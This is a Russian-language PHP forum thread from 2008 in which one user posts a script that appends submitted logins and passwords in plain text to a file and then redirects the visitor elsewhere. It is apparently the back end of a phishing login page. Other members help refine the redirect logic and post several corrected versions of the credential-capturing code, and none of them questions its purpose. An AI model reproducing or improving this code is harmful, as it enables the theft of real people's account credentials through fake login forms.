|
|
|
| <?PHP
$Login = $_POST['login']; // Логин
$Pass = $_POST['passwd']; // Пароль
$log = fopen("base.php","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Pass \n"); //записываем всё
fclose($log); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server1.ru'></head></html>"; // куда пошлем пользователя после того как он ввел данные!
?>
нужно что бы в случае если данные не были введены то переход осуществлялся на server1 (поывтор ввода) , а если введены то на сервер2 | |
|
|
|
|
|
|
|
для: russiankiller812
(25.12.2008 в 16:27)
| |
<?
$Login = trim($_POST['login']);
$Pass = trim($_POST['passwd']);
if(isset($Login) AND isset($Pass))
{
$log = fopen("base.php","a+");
fwrite($log,"\n $Login:$Pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server1.ru'></head></html>";
}
else
{
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server2.ru'></head></html>";
}
?>
|
| |
|
|
|
|
|
|
|
для: DEM
(25.12.2008 в 16:32)
| | Вы полагаете, вторая ветвь условного оператора хоть раз будет выполнена? | |
|
|
|
|
|
|
|
для: Trianon
(25.12.2008 в 16:50)
| | Будет... если форму для ввода изменить ;)
2 DEM
Преременные в любом случае будут установлены даже если в поле для ввода ничего не вводить. Они просто будут пустые. Юзайте empty.
Кстати перед присваиванием переменной $Pass = trim($_POST['passwd']), как раз не мешает удостоверится установленна она или нет. | |
|
|
|
|
|
|
|
для: Valick
(25.12.2008 в 17:21)
| | >Вы полагаете, вторая ветвь условного оператора хоть раз будет выполнена?
:), прикольно сначала объявить переменные, а потом проверить объявлены они или нет
<?
if(isset($_POST['login']) AND isset($_POST['passwd']) )
// если вам необходима еще проверка на правильность заполнения логина и пароля
//[ например, чтобы они были не пустые,
// тогда после проверки на существование $_POST['passwd'] и $_POST['login'] добавляете проверку
// например, такую
// if(isset($_POST['login']) AND isset($_POST['passwd']) and trim($_POST['login'])!='' and trim($_POST['passwd'])!='')
// ]
{
$Login = trim($_POST['login']);
$Pass = trim($_POST['passwd']);
$log = fopen("base.php","a+");
fwrite($log,"\n $Login:$Pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server1.ru'></head></html>";
}
else
{
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://server2.ru'></head></html>";
}
?> | |
|
|
|
|
|
|
|
для: Valick
(25.12.2008 в 17:21)
| | >Будет... если форму для ввода изменить ;)
и как же для этого надо изменить форму ввода? | |
|
|
|
|
|
|
|
для: Trianon
(25.12.2008 в 17:45)
| | >>Будет... если форму для ввода изменить ;)
>
>и как же для этого надо изменить форму ввода?
)
тут видимо имелось виду имена input`ов ( login , passwd ) на другие | |
|
|
|